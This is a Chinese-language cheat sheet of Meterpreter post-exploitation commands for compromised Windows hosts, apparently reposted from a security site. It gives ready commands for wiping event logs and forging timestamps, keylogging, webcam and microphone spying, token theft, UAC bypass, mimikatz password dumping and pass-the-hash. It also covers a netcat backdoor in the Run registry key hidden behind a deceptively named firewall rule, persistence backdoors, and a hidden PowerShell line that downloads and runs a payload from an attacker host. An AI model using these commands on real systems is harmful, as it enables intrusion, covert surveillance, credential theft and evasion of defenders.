0x01 系統命令
基本系統命令
1 background # 將當前會話放置后臺 2 sessions # sessions –h 查看幫助 3 sessions -i <ID值> #進入會話 -k 殺死會話 4 bgrun / run # 執行已有的模塊,輸入run后按兩下tab,列出已有的腳本 5 info # 查看已有模塊資訊 6 getuid # 查看當前用戶身份 7 getprivs # 查看當前用戶具備的權限 8 getpid # 獲取當前行程ID(PID) 9 sysinfo # 查看目標機系統資訊10 irb # 開啟ruby終端11 ps # 查看正在運行的行程 12 kill <PID值> # 殺死指定PID行程13 idletime # 查看目標機閑置時間14 reboot / shutdown # 重啟/關機15 shell # 進入目標機cmd shell
常用cmd命令
1 whoami # 當前權限 2 quser # 查詢當前在線的管理員 3 net user # 查看存在用戶 4 net user 用戶名 密碼 /add # 添加用戶和對應密碼 5 net localgroup 用戶組名 用戶名 /add # 將指定用戶添加到指定用戶組 6 netstat -ano # 查詢當前計算機中網路連接通信情況,LISTENING表示該埠處于監聽狀態;ESTABLISHED表示該埠處于作業(通信)狀態 7 systeminfo # 查看當前計算機中的詳細情況 8 tasklist /svc # 查看每個行程所對應的服務 9 taskkill /f /im 程式名稱 # 結束某個指定名稱的程式10 taskkill /f /PID ID # 結束某個指定PID的行程11 tasklist | findstr "字串" # 查找輸出結果中指定的內容12 logoff # 注銷某個指定用戶的ID13 shutdown -r # 重啟當前計算機14 netsh adcfirewall set allprofiles state off # 關閉防火墻
uictl開關鍵盤/滑鼠
1 uictl [enable/disable] [keyboard/mouse/all] # 開啟或禁止鍵盤/滑鼠2 uictl disable mouse # 禁用滑鼠3 uictl disable keyboard # 禁用鍵盤
execute執行檔案
1 execute #在目標機中執行檔案2 execute -H -i -f cmd.exe # 創建新行程cmd.exe,-H不可見,-i互動3 execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"4 # -d 在目標主機執行時顯示的行程名稱(用以偽裝)-m 直接從記憶體中執行5 "-o hack.txt"是payload.exe的運行引數
migrate行程遷移
1 getpid # 獲取當前行程的pid2 ps # 查看當前活躍行程3 migrate <pid值> # 將Meterpreter會話移植到指定pid值行程中4 kill <pid值> # 殺死行程
clearav清楚日志
1 clearav # 清除windows中的應用程式日志、系統日志、安全日志0x02 檔案系統命令
基本檔案系統命令
1 ls # 列出當前目錄中的檔案串列 2 cd # 進入指定目錄 3 getwd / pwd # 查看當前作業目錄 4 search -d c:\\ -f *.txt # 搜索檔案 -d 目錄 -f 檔案名 5 cat c:\\123.txt # 查看檔案內容 6 upload /tmp/hack.txt C:\\ # 上傳檔案到目標機上 7 download c:\\123.txt /tmp/ # 下載檔案到本機上 8 edit c:\\test.txt # 編輯或創建檔案 沒有的話,會新建檔案 9 rm C:\\hack.txt # 洗掉檔案10 mkdir admin # 只能在當前目錄下創建檔案夾11 rmdir admin # 只能洗掉當前目錄下檔案夾12 getlwd / lpwd # 查看本地當前目錄13 lcd /tmp # 切換本地目錄
timestomp偽造時間戳
1 timestomp C:\\ -h #查看幫助2 timestomp -v C:\\2.txt #查看時間戳3 timestomp C:\\2.txt -f C:\\1.txt #將1.txt的時間戳復制給2.txt4 timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四個屬性設定為統一時間
0x03 網路命令
基本網路命令
1 ipconfig/ifconfig # 查看網路介面資訊2 netstat –ano # 查看網路連接狀態3 arp # 查看arp緩沖表4 getproxy # 查看代理資訊5 route # 查看路由表資訊
portfwd 埠轉發
1 portfwd add -l 1111 -p 3389 -r 127.0.0.1 #將目標機的3389埠轉發到本地1111埠2 rdesktop 127.0.0.1:1111 # 需要輸入用戶名密碼連接3 rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用戶名 -p 密碼
autoroute 添加路由
1 run autoroute -h # 查看幫助2 run get_local_subnets # 查看目標內網網段地址3 run autoroute -s 192.168.183.0/24 # 添加目標網段路由4 run autoroute -p # 查看添加的路由
利用arp_scanner、portscan等進行掃描
1 run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/242 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389
0x04 資訊收集
常用腳本
1 run arp_scanner -r 192.168.183.1/24 # 利用arp進行存活主機掃描 2 run winenum # 自動化執行一些檢測腳本 3 run credcollect # 獲取用戶hash 4 run domain_list_gen # 獲取域管理賬戶串列 5 run post/multi/gather/env # 獲取用戶環境變數 6 run post/windows/gather/enum_logged_on_users -c # 列出當前登錄用戶 7 run post/linux/gather/checkvm # 是否虛擬機 8 run post/windows/gather/checkvm # 是否虛擬機 9 run post/windows/gather/forensics/enum_drives # 查看存盤器資訊10 run post/windows/gather/enum_applications # 獲取安裝軟體資訊11 run post/windows/gather/dumplinks # 獲取最近訪問過的檔案、鏈接資訊12 run post/windows/gather/enum_ie # 獲取IE快取13 run post/windows/gather/enum_firefox # 獲取firefox快取14 run post/windows/gather/enum_chrome # 獲取Chrome快取15 run post/multi/recon/local_exploit_suggester # 獲取本地提權漏洞16 run post/windows/gather/enum_patches # 獲取補丁資訊17 run post/windows/gather/enum_domain # 查找域控18 run post/windows/gather/enum_snmp # 獲取snmp團體名稱19 run post/windows/gather/credentials/vnc # 獲取vnc密碼20 run post/windows/wlan/wlan_profile # 用于讀取目標主機WiFi密碼21 run post/multi/gather/wlan_geolocate # 基于wlan進行地理位置確認 檔案位于/root/.msf4/loot22 run post/windows/manage/killav 關閉殺毒軟體
常用的破解模塊
1 auxiliary/scanner/mssql/mssql_login 2 auxiliary/scanner/ftp/ftp_login 3 auxiliary/scanner/ssh/ssh_login 4 auxiliary/scanner/telnet/telnet_login 5 auxiliary/scanner/smb/smb_login 6 auxiliary/scanner/mssql/mssql_login 7 auxiliary/scanner/mysql/mysql_login 8 auxiliary/scanner/oracle/oracle_login 9 auxiliary/scanner/postgres/postgres_login10 auxiliary/scanner/vnc/vnc_login11 auxiliary/scanner/pcanywhere/pcanywhere_login12 auxiliary/scanner/snmp/snmp_login13 auxiliary/scanner/ftp/anonymous
鍵盤記錄
1 keyscan_start # 開始鍵盤記錄2 keyscan_dump # 匯出記錄資料3 keyscan_stop # 結束鍵盤記錄
sniffer 抓包
1 use sniffer2 sniffer_interfaces # 查看網卡3 sniffer_start 1 # 選擇網卡1開始抓包4 sniffer_stats 1 # 查看網卡1狀態5 sniffer_dump 1 /tmp/wlan1.pcap # 匯出pcap資料包6 sniffer_stop 1 # 停止網卡1抓包7 sniffer_release 1 # 釋放網卡1流量
竊取令牌
1 steal_token <pid值> # 從指定行程中竊取token2 drop_token # 停止假冒當前的token
網路攝像頭
1 record_mic # 音頻錄制2 webcam_chat # 開啟視頻聊天(對方有彈窗)3 webcam_list # 查看攝像頭4 webcam_snap # 通過攝像頭拍照5 webcam_stream # 通過攝像頭開啟視頻監控(以網頁形式進行監控≈直播)
截屏
1 screenshot # 截屏2 use espia # 使用espia模塊3 screengrab # 截屏
0x05 提權
getsystem 提權
利用getsystem命令提權,該命令會自動尋找各種可能的提權技術來使得用戶將權限提升到更高的級別,提權方式采用命令管道模擬提升的方法和令牌復制的方法,
1 getsystem本地漏洞提權
本地漏洞提權即是通過運行一些造成溢位漏洞的exploit,把用戶從普通權限提升為管理員權限,
1.利用getuid查看已獲得權限,嘗試利用getsystem提權,失敗,
2.利用enum_patches模塊搜集補丁資訊,然后尋找可利用的exploits進行提權,
1 run post/windows/gather/enum_patches #查看補丁資訊2 background3 search MS10-0154 use exploit/windows/local/ms10_015_kitrap0d5 set session 86 run
繞過UAC提權
使用bypassuac提權
msf內置一些bypassuac腳本,原理不同,使用方法類似,執行后回傳一個新的會話,再次執行getsystem即可提權
1 exploit/windows/local/bypassuac2 exploit/windows/local/bypassuac_eventvwr3 exploit/windows/local/bypassuac_injection4 exploit/windows/local/bypassuac_injection_winsxs5 exploit/windows/local/bypassuac_silentcleanup6 exploit/windows/local/bypassuac_vbs
使用命令getsystem提權失敗,然后利用bypassuac來提權,這里利用exploit/windows/local/bypassuac模塊(32位、64位都有效)
1 use exploit/windows/local/bypassuac2 set session 13 run
使用RunAs提權
該方法利用exploit/windows/local/ask模塊(32位、64位都有效),創建一個可執行檔案并在目標機上發起一個提升權限請求的程式,觸發系統UAC,提示用戶是否要繼續,如果用戶選擇“是”,則會回傳一個高權限的meterpreter shell,
1 use exploit/windows/local/ask2 set filename update.exe # 設定反彈程式名稱3 set session 14 run
輸入run命令以后會在目標機上彈出UAC,提示用戶是否允許,選擇是就會回傳一個高權限的meterpreter shell,
注:使用RunAs模塊進行提權時,系統當前用戶須在管理員組或者知道管理員的密碼,用戶賬戶控制程式UAC設定則沒有要求,使用RunAs模塊進行提權時,會創建一個可執行檔案,為了避免給殺毒軟體查殺,該可執行檔案(需進行免殺處理)的創建要使用EXE::Custom選項,
假冒令牌提權
令牌是系統臨時密鑰,它允許你在不提供密碼或其他憑證的前提下,訪問網路和系統資源,這些令牌將持續存在于系統中,除非系統重新啟動,一般有兩種型別的令牌,一種是Delegation Tokens,也就是授權令牌,它支持互動式登錄(例如遠程桌面登陸登錄),還有一種是Impersonation Tokens,也就是模擬令牌,它是非互動的會話(例如訪問檔案共享),
1 use incognito # 加載竊取令牌模塊2 list_tokens -u # 查看可用的用戶令牌3 list_tokens -g # 查看可用的用戶組令牌4 impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token5 rev2self #回傳原始token
利用AlwaysInstallElevated提權
AlwaysInstallElevated是一個策略設定,微軟允許非授權用戶以SYSTEM權限運行安裝檔案(MSI),如果用戶啟用此策略設定,那么黑客利用惡意的MSI檔案就可以進行管理員權限的提升,
查看AlwaysInstallElevated是否被定義
不過利用此方法有個前提條件,需要有兩個注冊表的鍵值為1,我們可以在cmdshell下查看AlwaysInstallElevated是否被定義
1 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated2 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果在組策略里未定義AlwaysInstallElevated,則會出現“錯誤: 系統找不到指定的注冊表項或值”的提示,
如果需要開啟可以選擇以下方法:
1.打開組策略編輯器(運行框輸入gpedit.msc)
2.組策略->計算機配置->管理模版->Windows組件->Windows Installer->永遠以高特權進行安裝:選擇啟用
3.組策略->用戶配置->管理模版->Windows組件->Windows Installer->永遠以高特權進行安裝:選擇啟用
設定完成后對應注冊表的位置值會設為1,開啟AlwaysInstallElevated,
生成MSI安裝檔案
利用msfvenom命令生成一個在目標機上增加管理員用戶的MSI安裝檔案,這里密碼要設定為強密碼,否則會報錯,
1 msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi上傳并執行MSI檔案
1 upload msi.msi c:\\Users\\test # 部分目錄由于權限原因可能上傳失敗2 msiexec /quiet /qn /i msi.msi # /quiet=安裝程序中禁止向用戶發送訊息 /qn=不使用圖形界面 /i=安裝程式3 net localgroup administrators
4 upload msi.msi c:\\ # 上傳檔案
0x06 竊取hash及密碼&哈希傳遞
竊取hash及密碼
hashdump
1 hashdump2 run post/windows/gather/smart_hashdump
mimikatz
1 load mimikatz # 加載mimikatz模塊2 msv # 獲取用戶和hash值 3 kerberos # 獲取記憶體中的明文密碼資訊4 wdigest # 獲取記憶體中的明文密碼資訊5 mimikatz_command -f a:: # 需要以錯誤的模塊來讓正確的模塊顯示6 mimikatz_command -f sekurlsa::searchPasswords # 獲取用戶密碼7 mimikatz_command -f samdump::hashes # 執行用戶hash
kiwi
kiwi是利用的mimikatz擴展,運行需要SYSTEM權限
1 load kiwi2 creds_all
哈希傳遞
利用hashdump得到用戶的hash后可利用psexec模塊進行哈希傳遞攻擊,
使用psexec的前提:SMB服務必須開啟,也就是開啟445埠;Admin$可以訪問,
1 use exploit/windows/smb/psexec2 set payload windows/meterpreter/reverse_tcp3 set LHOST 192.168.1.14 set LPORT 4435 set RHOST 192.168.183.1546 set SMBUSER Administrator7 set SMBPASS ccf**4ee:3db**6788 set SMBDOMAIN WORKGROUP # 域用戶需要設定SMBDOMAIN9 run
0x07 RDP
開啟3389
getui 命令
這里需要注意的是通過getgui命令,雖然可以成功添加用戶,但是沒有權限遠程登錄桌面,這里推薦使用enable_rdp腳本添加,
1 run getgui –h # 查看幫助2 run getgui -e # 開啟遠程桌面3 run getgui -u admin -p admin # 添加用戶4 run getgui -f 6666 -e # 3389埠轉發到6666
enable_rdp腳本
通過enable_rdp腳本將用戶添加到遠程桌面用戶組和管理員用戶組
1 run post/windows/manage/enable_rdp #開啟遠程桌面2 run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用戶3 run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 將3389埠轉發到6667
遠程桌面
1 enumdesktops # 查看可用的桌面2 getdesktop # 獲取當前meterpreter 關聯的桌面3 setdesktop # 設定meterpreter關聯的桌面 -h查看幫助4 run vnc # 使用vnc遠程桌面連接5 rdesktop 127.0.0.1:1111 # 需要輸入用戶名密碼連接6 rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用戶名 -p 密碼
0x08 注冊表操作
注冊表基本命令
1 reg –h # 查看幫助2 -k 注冊表的路徑 -v 鍵的名稱 -d 鍵值3 reg enumkey [-k <key>] # 列舉注冊表的內容4 reg createkey [-k <key>] # 創建注冊表項5 reg deletekey [-k <key>] # 洗掉注冊表項6 reg setval [-k <key> -v <val> -d <data>] # 在注冊表里添加內容7 reg deleteval [-k <key> -v <val>] # 洗掉注冊表的值8 reg queryval [-k <key> -v <val>] # 查詢注冊表的值
利用注冊表添加nc后門
1.編輯注冊表,添加nc到系統啟動項中,形成后門程式,
1 upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 # 上傳nc到目標主機2 reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 列舉注冊表run下的鍵值3 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' # 設定鍵值 -v 鍵的名稱 -d 鍵值4 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc # 查看test_nc的鍵值
2.設定防火墻允許通過443埠(如果目標主機開啟防火墻,沒有設定相應的規則可能會導致連接失敗,)
1 shell2 netsh firewall show opmode # 查看防火墻狀態3 netsh firewall add portopening TCP 443 "網路發現(Pub PSD-Out)" ENABLE ALL # 添加防火墻的規則允許443埠通過(這里“網路發現(Pub PSD-Out)”是規則名稱,目的是為了迷惑管理員,)
3.待目標主機重啟后,自啟nc程式,然后我們利用nc連接即可,
1 nc 127.0.0.1 443
0x09 后門植入
我們需要通過植入后門來維持權限,前面說的nc后門就是其中一種,另外一般還有Persistence和Metsvc,
Persistence(通過啟動項安裝)
1 run persistence –h # 查看幫助2 run persistence -X -i 5 -p 4444 -r 192.168.1.13 run persistence -U -i 5 -p 4444 -r 192.168.1.1 -L c:\\Windows\\System324 -X:設定后門在系統啟動后自啟動,該方式會在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注冊表資訊,由于權限原因會導致添加失敗,后門無法啟動,因此在非管理員權限下,不推薦使用該引數5 -U:設定后門在用戶登錄后自啟動,該方式會在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注冊表資訊6 -L:后門傳到遠程主機的位置默認為%TEMP%7 -i:設定反向連接間隔時間為5秒8 -p:設定反向連接的埠號9 -r:設定反向連接的ip地址
Metsvc(通過服務安裝)
1 run metsvc -h # 查看幫助 2 run metsvc -A # 自動安裝后門 3 run metsvc -r # 洗掉后門 4 5 連接后門 6 use exploit/multi/handler 7 set payload windows/metsvc_bind_tcp 8 set rhost 192.168.1.1 9 set lport 3133710 run
Powershell后門
1 use exploit/multi/script/web_delivery 2 set payload windows/meterpreter/reverse_tcp 3 set LHOST 192.168.1.1 4 set LPORT 2334 5 set srvport 2333 6 set uripath / 7 set target 5 8 run 9 在目標設備cmd上執行以下命令即可反彈10 powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1:2333/', $z); invoke-item $z
####
參考原文地址:https://xz.aliyun.com/t/6400
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/10922.html
標籤:訊息安全
上一篇:從運維角度來說如何實作多分支測驗
